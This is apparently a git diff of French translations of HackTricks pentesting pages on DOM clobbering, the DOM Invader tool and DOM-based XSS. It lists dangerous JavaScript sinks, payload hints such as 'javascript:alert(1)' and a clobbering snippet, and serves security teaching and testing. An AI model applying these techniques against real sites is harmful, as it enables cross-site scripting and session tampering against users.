[embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), et [exposés](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) qui ont un attribut de contenu name non vide et sont [dans un arbre de document](https://dom.spec.whatwg.org/#in-a-document-tree) avec document comme leur [racine](https://dom.spec.whatwg.org/#concept-tree-root);\ +> \- La valeur de l'attribut de contenu name pour tous les éléments [exposés](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), et les éléments [exposés](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) qui ont un attribut de contenu name non vide et sont [dans un arbre de document](https://dom.spec.whatwg.org/#in-a-document-tree) avec le document comme leur [racine](https://dom.spec.whatwg.org/#concept-tree-root);\ > \ -> \- La valeur de l'attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) pour tous les éléments [exposés](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) qui ont un attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) non vide et sont [dans un arbre de document](https://dom.spec.whatwg.org/#in-a-document-tree) avec document comme leur [racine](https://dom.spec.whatwg.org/#concept-tree-root);\ +> \- La valeur de l'attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) pour tous les éléments [exposés](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) qui ont un attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) non vide et sont [dans un arbre de document](https://dom.spec.whatwg.org/#in-a-document-tree) avec le document comme leur [racine](https://dom.spec.whatwg.org/#concept-tree-root);\ > \ -> \- La valeur de l'attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) pour tous les éléments [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) qui ont à la fois un attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) non vide et un attribut de contenu name non vide, et sont [dans un arbre de document](https://dom.spec.whatwg.org/#in-a-document-tree) avec document comme leur [racine](https://dom.spec.whatwg.org/#concept-tree-root). +> \- La valeur de l'attribut [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) pour tous les éléments [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) qui ont à la fois un attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) non vide et un attribut de contenu name non vide, et sont [dans un arbre de document](https://dom.spec.whatwg.org/#in-a-document-tree) avec le document comme leur [racine](https://dom.spec.whatwg.org/#concept-tree-root). En utilisant cette technique, vous pouvez remplacer des **valeurs couramment utilisées telles que `document.cookie`, `document.body`, `document.children`**, et même des méthodes dans l'interface Document comme `document.querySelector`. ```javascript @@ -150,7 +150,7 @@ alert(document.getElementById('cdnDomain').innerText); // Clobbered alert(document.querySelector('.x').innerText); // Clobbered ``` -De plus, en utilisant des styles pour masquer ces balises HTML/body injectées, les interférences avec d'autres textes dans le `innerText` peuvent être évitées, améliorant ainsi l'efficacité de l'attaque : +De plus, en utilisant des styles pour masquer ces balises HTML/body injectées, l'interférence avec d'autres textes dans le `innerText` peut être évitée, améliorant ainsi l'efficacité de l'attaque: ```html

existing text

@@ -206,12 +206,12 @@ Click to send!
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! * Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord**](https://discord.gg/hRep4RUj7f) ou le **groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PRs au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/pentesting-web/xss-cross-site-scripting/dom-invader.md b/pentesting-web/xss-cross-site-scripting/dom-invader.md index 8382230ae..8dfc8eb31 100644 --- a/pentesting-web/xss-cross-site-scripting/dom-invader.md +++ b/pentesting-web/xss-cross-site-scripting/dom-invader.md @@ -9,7 +9,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
@@ -20,10 +20,10 @@ DOM Invader est un outil de navigateur installé dans le navigateur intégré de DOM Invader intègre un onglet dans le panneau DevTools du navigateur permettant ce qui suit : -1. **Identification des sinks contrôlables** sur une page Web pour les tests XSS DOM, fournissant des détails de contexte et de désinfection. +1. **Identification des sinks contrôlables** sur une page web pour les tests XSS DOM, fournissant des détails de contexte et de désinfection. 2. **Journalisation, édition et renvoi des messages web** envoyés via la méthode `postMessage()` pour les tests XSS DOM. DOM Invader peut également détecter automatiquement les vulnérabilités en utilisant des messages web spécialement conçus. 3. Détection des sources de **pollution de prototype côté client** et balayage des gadgets contrôlables envoyés vers des sinks risqués. -4. Identification des vulnérabilités de **clobbering DOM**. +4. Identification des **vulnérabilités de clobbering DOM**. ### Activer @@ -37,7 +37,7 @@ Maintenant, actualisez la page et dans les **Dev Tools**, vous trouverez l'ongle ### Injecter un canari -Sur l'image précédente, vous pouvez voir un **groupe aléatoire de caractères, qui est le Canari**. Vous devez maintenant commencer à **l'injecter** dans différentes parties du web (paramètres, formulaires, URL...) et cliquer à chaque fois sur rechercher. DOM Invader vérifiera si le **canari se termine dans un sink intéressant** qui pourrait être exploité. +Sur l'image précédente, vous pouvez voir un **groupe aléatoire de caractères, qui est le Canari**. Vous devriez maintenant commencer à **l'injecter** dans différentes parties du web (paramètres, formulaires, URL...) et cliquer à chaque fois sur rechercher. DOM Invader vérifiera si le **canari se termine dans un sink intéressant** qui pourrait être exploité. De plus, les options **Injecter les paramètres d'URL** et Injecter les formulaires ouvriront automatiquement un **nouvel onglet** en **injectant** le **canari** dans chaque **paramètre d'URL** et **formulaire** qu'il trouve. @@ -57,7 +57,7 @@ DOM Invader permet de tester les XSS DOM en utilisant des messages web avec des Des informations détaillées peuvent être consultées sur chaque message en cliquant dessus, ce qui inclut si le JavaScript côté client accède aux propriétés `origin`, `data` ou `source` du message. -* **`origin`** : Si les informations d'**origine du message ne sont pas vérifiées**, vous pourriez être en mesure d'envoyer des messages entre origines à l'**gestionnaire d'événements depuis un domaine externe arbitraire**. Mais s'il est vérifié, cela pourrait toujours être insécurisé. +* **`origin`** : Si les informations d'**origine du message ne sont pas vérifiées**, vous pourriez être en mesure d'envoyer des messages cross-origin au gestionnaire d'événements **à partir d'un domaine externe arbitraire**. Mais s'il est vérifié, cela pourrait toujours être insécurisé. * **`data`** : C'est là que la charge utile est envoyée. Si ces données ne sont pas utilisées, le sink est inutile. * **`source`** : Évalue si la propriété source, faisant généralement référence à un iframe, est validée au lieu de l'origine. Même si cela est vérifié, cela ne garantit pas que la validation ne peut pas être contournée. @@ -73,7 +73,7 @@ DOM Invader peut également rechercher des **vulnérabilités de pollution de pr
-Ensuite, il **recherchera des sources** qui vous permettent d'ajouter des propriétés arbitraires au **`Object.prototype`**. +Ensuite, il **recherchera des sources** qui vous permettent d'ajouter des propriétés arbitraires à l'**`Object.prototype`**. Si quelque chose est trouvé, un bouton **Tester** apparaîtra pour **tester la source trouvée**. Cliquez dessus, un nouvel onglet apparaîtra, créez un objet dans la console et vérifiez si la `testproperty` existe : ```javascript @@ -104,10 +104,10 @@ Dans l'image précédente, il est possible de voir que l'analyse de la substitut Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/pentesting-web/xss-cross-site-scripting/dom-xss.md b/pentesting-web/xss-cross-site-scripting/dom-xss.md index ffcb014e8..a4431c172 100644 --- a/pentesting-web/xss-cross-site-scripting/dom-xss.md +++ b/pentesting-web/xss-cross-site-scripting/dom-xss.md @@ -2,13 +2,13 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PRs au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
@@ -16,10 +16,10 @@ Les vulnérabilités DOM se produisent lorsque des données provenant de **sources** contrôlées par des attaquants (comme `location.search`, `document.referrer` ou `document.cookie`) sont transférées de manière non sécurisée vers des **sinks**. Les sinks sont des fonctions ou des objets (par exemple, `eval()`, `document.body.innerHTML`) qui peuvent exécuter ou rendre du contenu nuisible s'ils reçoivent des données malveillantes. -- Les **sources** sont des entrées pouvant être manipulées par des attaquants, y compris les URL, les cookies et les messages web. -- Les **sinks** sont des points de terminaison potentiellement dangereux où des données malveillantes peuvent entraîner des effets indésirables, tels que l'exécution de scripts. +- Les **sources** sont des entrées qui peuvent être manipulées par des attaquants, y compris les URL, les cookies et les messages web. +- Les **sinks** sont des points d'extrémité potentiellement dangereux où des données malveillantes peuvent entraîner des effets indésirables, tels que l'exécution de scripts. -Le risque survient lorsque les données circulent d'une source vers un sink sans validation ou assainissement appropriés, permettant des attaques telles que les XSS. +Le risque survient lorsque les données circulent d'une source vers un sink sans validation ou assainissement approprié, permettant des attaques telles que XSS. {% hint style="info" %} **Vous pouvez trouver une liste plus à jour des sources et des sinks sur** [**https://github.com/wisec/domxsswiki/wiki**](https://github.com/wisec/domxsswiki/wiki) @@ -44,7 +44,7 @@ Database ``` **Fuites courantes:** -| [**Redirection ouverte**](dom-xss.md#open-redirect) | [**Injection de Javascript**](dom-xss.md#javascript-injection) | [**Manipulation de données DOM**](dom-xss.md#dom-data-manipulation) | **jQuery** | +| [**Redirection ouverte**](dom-xss.md#open-redirect) | [**Injection de Javascript**](dom-xss.md#javascript-injection) | [**Manipulation des données du DOM**](dom-xss.md#dom-data-manipulation) | **jQuery** | | -------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------- | ------------------------------------------------------------- | ---------------------------------------------------------------------- | | `location` | `eval()` | `scriptElement.src` | `add()` | | `location.host` | `constructeur Function()` | `scriptElement.text` | `after()` | @@ -56,24 +56,24 @@ Database | `location.assign()` | `msSetImmediate()` | `someDOMElement.textContent` | `html()` | | `location.replace()` | `range.createContextualFragment()` | `someDOMElement.innerText` | `prepend()` | | `open()` | `crypto.generateCRMFRequest()` | `someDOMElement.outerText` | `replaceAll()` | -| `domElem.srcdoc` | **\`\`**[**Manipulation de chemin d'accès aux fichiers locaux**](dom-xss.md#local-file-path-manipulation) | `someDOMElement.value` | `replaceWith()` | +| `domElem.srcdoc` | **\`\`**[**Manipulation du chemin d'accès aux fichiers locaux**](dom-xss.md#local-file-path-manipulation) | `someDOMElement.value` | `replaceWith()` | | `XMLHttpRequest.open()` | `FileReader.readAsArrayBuffer()` | `someDOMElement.name` | `wrap()` | | `XMLHttpRequest.send()` | `FileReader.readAsBinaryString()` | `someDOMElement.target` | `wrapInner()` | | `jQuery.ajax()` | `FileReader.readAsDataURL()` | `someDOMElement.method` | `wrapAll()` | | `$.ajax()` | `FileReader.readAsText()` | `someDOMElement.type` | `has()` | -| **\`\`**[**Manipulation de requête Ajax**](dom-xss.md#ajax-request-manipulation) | `FileReader.readAsFile()` | `someDOMElement.backgroundImage` | `constructeur()` | +| **\`\`**[**Manipulation de la requête Ajax**](dom-xss.md#ajax-request-manipulation) | `FileReader.readAsFile()` | `someDOMElement.backgroundImage` | `constructeur()` | | `XMLHttpRequest.setRequestHeader()` | `FileReader.root.getFile()` | `someDOMElement.cssText` | `init()` | | `XMLHttpRequest.open()` | `FileReader.root.getFile()` | `someDOMElement.codebase` | `index()` | -| `XMLHttpRequest.send()` | [**Manipulation de lien**](dom-xss.md#link-manipulation) | `someDOMElement.innerHTML` | `jQuery.parseHTML()` | +| `XMLHttpRequest.send()` | [**Manipulation des liens**](dom-xss.md#link-manipulation) | `someDOMElement.innerHTML` | `jQuery.parseHTML()` | | `jQuery.globalEval()` | `someDOMElement.href` | `someDOMElement.outerHTML` | `$.parseHTML()` | | `$.globalEval()` | `someDOMElement.src` | `someDOMElement.insertAdjacentHTML` | [**Injection JSON côté client**](dom-xss.md#client-side-sql-injection) | -| **\`\`**[**Manipulation de stockage HTML5**](dom-xss.md#html-5-storage-manipulation) | `someDOMElement.action` | `someDOMElement.onevent` | `JSON.parse()` | +| **\`\`**[**Manipulation du stockage HTML5**](dom-xss.md#html-5-storage-manipulation) | `someDOMElement.action` | `someDOMElement.onevent` | `JSON.parse()` | | `sessionStorage.setItem()` | [**Injection XPath**](dom-xss.md#xpath-injection) | `document.write()` | `jQuery.parseJSON()` | | `localStorage.setItem()` | `document.evaluate()` | `document.writeln()` | `$.parseJSON()` | -| **``**[**`Déni de service`**](dom-xss.md#denial-of-service)**``** | `someDOMElement.evaluate()` | `document.title` | **\`\`**[**Manipulation de cookie**](dom-xss.md#cookie-manipulation) | -| `requestFileSystem()` | **\`\`**[**Manipulation de domaine de document**](dom-xss.md#document-domain-manipulation) | `document.implementation.createHTMLDocument()` | `document.cookie` | -| `RegExp()` | `document.domain` | `history.pushState()` | [**Empoisonnement d'URL WebSocket**](dom-xss.md#websocket-url-poisoning) | -| [**Injection SQL côté client**](dom-xss.md#client-side-sql-injection) | [**Manipulation de message Web**](dom-xss.md#web-message-manipulation) | `history.replaceState()` | `WebSocket` | +| **``**[**`Déni de service`**](dom-xss.md#denial-of-service)**``** | `someDOMElement.evaluate()` | `document.title` | **\`\`**[**Manipulation des cookies**](dom-xss.md#cookie-manipulation) | +| `requestFileSystem()` | **\`\`**[**Manipulation du domaine du document**](dom-xss.md#document-domain-manipulation) | `document.implementation.createHTMLDocument()` | `document.cookie` | +| `RegExp()` | `document.domain` | `history.pushState()` | [**Empoisonnement des URL WebSocket**](dom-xss.md#websocket-url-poisoning) | +| [**Injection SQL côté client**](dom-xss.md#client-side-sql-injection) | [**Manipulation des messages Web**](dom-xss.md#web-message-manipulation) | `history.replaceState()` | `WebSocket` | | `executeSql()` | `postMessage()` | \`\` | \`\` | Le **puits `innerHTML`** n'accepte pas les éléments `script` sur les navigateurs modernes, ni les événements `svg onload`. Cela signifie que vous devrez utiliser des éléments alternatifs comme `img` ou `iframe`. @@ -92,7 +92,7 @@ De : [https://portswigger.net/web-security/dom-based/open-redirection](https://p Les **vulnérabilités de redirection ouverte dans le DOM** se produisent lorsqu'un script écrit des données, que l'attaquant peut contrôler, dans un puits capable d'initier une navigation entre les domaines. -Il est crucial de comprendre que l'exécution de code arbitraire, tel que **`javascript:alert(1)`**, est possible si vous avez le contrôle sur le début de l'URL où se produit la redirection. +Il est crucial de comprendre qu'il est possible d'exécuter du code arbitraire, tel que **`javascript:alert(1)`**, si vous avez le contrôle sur le début de l'URL où se produit la redirection. Puits: ```javascript @@ -116,7 +116,7 @@ $.ajax() De : [https://portswigger.net/web-security/dom-based/cookie-manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation) -Les vulnérabilités de manipulation de cookies basées sur le DOM se produisent lorsqu'un script intègre des données, contrôlables par un attaquant, dans la valeur d'un cookie. Cette vulnérabilité peut entraîner un comportement inattendu de la page Web si le cookie est utilisé sur le site. De plus, elle peut être exploitée pour mener une attaque de fixation de session si le cookie est impliqué dans le suivi des sessions utilisateur. Le principal point de fuite associé à cette vulnérabilité est : +Les vulnérabilités de manipulation de cookies basées sur le DOM se produisent lorsqu'un script intègre des données, contrôlables par un attaquant, dans la valeur d'un cookie. Cette vulnérabilité peut entraîner un comportement inattendu de la page web si le cookie est utilisé sur le site. De plus, elle peut être exploitée pour mener une attaque de fixation de session si le cookie est impliqué dans le suivi des sessions utilisateur. Le principal point de fuite associé à cette vulnérabilité est : Points de fuite : ```javascript @@ -177,7 +177,7 @@ someDOMElement.action De : [https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation](https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation) -Les vulnérabilités de manipulation de requête Ajax surviennent lorsqu'un script écrit des données contrôlables par l'attaquant dans une requête Ajax émise à l'aide d'un objet `XmlHttpRequest`. +Les vulnérabilités de manipulation de requête Ajax surviennent lorsqu'un script écrit des données contrôlables par un attaquant dans une requête Ajax émise à l'aide d'un objet `XmlHttpRequest`. Sinks: ```javascript @@ -191,7 +191,7 @@ $.globalEval() De: [https://portswigger.net/web-security/dom-based/local-file-path-manipulation](https://portswigger.net/web-security/dom-based/local-file-path-manipulation) -Les **vulnérabilités de manipulation de chemin de fichier local** surviennent lorsqu'un script transmet des données contrôlées par l'attaquant à une API de gestion de fichiers en tant que paramètre `filename`. Cette vulnérabilité peut être exploitée par un attaquant pour construire une URL qui, si visitée par un autre utilisateur, pourrait entraîner l'**ouverture ou l'écriture d'un fichier local arbitraire par le navigateur de l'utilisateur**. +Les **vulnérabilités de manipulation de chemin de fichier local** surviennent lorsqu'un script transmet des données contrôlées par l'attaquant à une API de gestion de fichiers en tant que paramètre `filename`. Cette vulnérabilité peut être exploitée par un attaquant pour construire une URL qui, si visitée par un autre utilisateur, pourrait amener le **navigateur de l'utilisateur à ouvrir ou écrire un fichier local arbitraire**. Sinks: ```javascript @@ -217,7 +217,7 @@ executeSql() De : [https://portswigger.net/web-security/dom-based/html5-storage-manipulation](https://portswigger.net/web-security/dom-based/html5-storage-manipulation) -Les vulnérabilités de manipulation du stockage HTML5 surviennent lorsqu'un script stocke des données contrôlables par l'attaquant dans le stockage HTML5 du navigateur web (`localStorage` ou `sessionStorage`). Bien que cette action ne soit pas intrinsèquement une vulnérabilité de sécurité, elle devient problématique si l'application lit ensuite les données stockées et les traite de manière non sécurisée. Cela pourrait permettre à un attaquant d'utiliser le mécanisme de stockage pour mener d'autres attaques basées sur le DOM, telles que le script entre sites et l'injection de JavaScript. +Les vulnérabilités de manipulation du stockage HTML5 surviennent lorsqu'un script stocke des données contrôlées par l'attaquant dans le stockage HTML5 du navigateur web (`localStorage` ou `sessionStorage`). Alors que cette action n'est pas intrinsèquement une vulnérabilité de sécurité, elle devient problématique si l'application lit ensuite les données stockées et les traite de manière non sécurisée. Cela pourrait permettre à un attaquant d'utiliser le mécanisme de stockage pour mener d'autres attaques basées sur le DOM, telles que le script entre sites et l'injection de JavaScript. Sinks: ```javascript @@ -226,9 +226,9 @@ localStorage.setItem() ``` ### Injection XPath -De : [https://portswigger.net/web-security/dom-based/client-side-xpath-injection](https://portswigger.net/web-security/dom-based/client-side-xpath-injection) +From: [https://portswigger.net/web-security/dom-based/client-side-xpath-injection](https://portswigger.net/web-security/dom-based/client-side-xpath-injection) -Les vulnérabilités **d'injection XPath basées sur le DOM** se produisent lorsqu'un script intègre **des données contrôlables par l'attaquant dans une requête XPath**. +Les **vulnérabilités d'injection XPath basées sur le DOM** se produisent lorsqu'un script intègre des données **contrôlables par l'attaquant dans une requête XPath**. Sinks: ```javascript @@ -251,7 +251,7 @@ $.parseJSON() À partir de : [https://portswigger.net/web-security/dom-based/web-message-manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation) -Les vulnérabilités liées aux **messages Web** surviennent lorsqu'un script envoie des données **contrôlables par l'attaquant en tant que message Web vers un autre document** dans le navigateur. Un **exemple** de manipulation de messages Web vulnérable peut être trouvé sur l'Académie de sécurité Web de [PortSwigger](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source). +Les vulnérabilités des **messages Web** surviennent lorsqu'un script envoie des données **contrôlables par l'attaquant en tant que message Web vers un autre document** dans le navigateur. Un **exemple** de manipulation de messages Web vulnérable peut être trouvé sur l'Académie de sécurité Web de [PortSwigger](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source). Sinks : @@ -261,9 +261,7 @@ La méthode `postMessage()` pour l'envoi de messages Web peut entraîner des vul À partir de : [https://portswigger.net/web-security/dom-based/dom-data-manipulation](https://portswigger.net/web-security/dom-based/dom-data-manipulation) -Les vulnérabilités liées à la **manipulation de données DOM** surviennent lorsqu'un script écrit des données **contrôlables par l'attaquant dans un champ du DOM** qui est utilisé dans l'interface utilisateur visible ou la logique côté client. Cette vulnérabilité peut être exploitée par un attaquant pour construire une URL qui, si visitée par un autre utilisateur, peut modifier l'apparence ou le comportement de l'interface utilisateur côté client. - -Sinks : +Les vulnérabilités de **manipulation de données DOM** surviennent lorsqu'un script écrit des données **contrôlables par l'attaquant dans un champ du DOM** qui est utilisé dans l'interface utilisateur visible ou la logique côté client. Cette vulnérabilité peut être exploitée par un attaquant pour construire une URL qui, si visitée par un autre utilisateur, peut modifier l'apparence ou le comportement de l'interface utilisateur côté client. ```javascript scriptElement.src scriptElement.text @@ -294,7 +292,7 @@ history.replaceState() Les vulnérabilités de **déni de service basées sur le DOM** se produisent lorsqu'un script transmet de manière non sécurisée des données **contrôlables par l'attaquant à une API de plateforme problématique**. Cela inclut les API qui, lorsqu'elles sont invoquées, peuvent amener l'ordinateur de l'utilisateur à consommer **des quantités excessives de CPU ou d'espace disque**. De telles vulnérabilités peuvent avoir des effets secondaires significatifs, tels que le navigateur restreignant la fonctionnalité du site web en refusant les tentatives de stockage de données dans `localStorage` ou en mettant fin aux scripts occupés. -Sources : +Sources: ```javascript requestFileSystem() RegExp() @@ -307,7 +305,7 @@ RegExp()
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! * Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) diff --git a/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md b/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md index f34113632..baccd044b 100644 --- a/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md +++ b/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md @@ -1,18 +1,18 @@ -# Iframes dans XSS, CSP et SOP +# Iframes in XSS, CSP and SOP
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! * Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
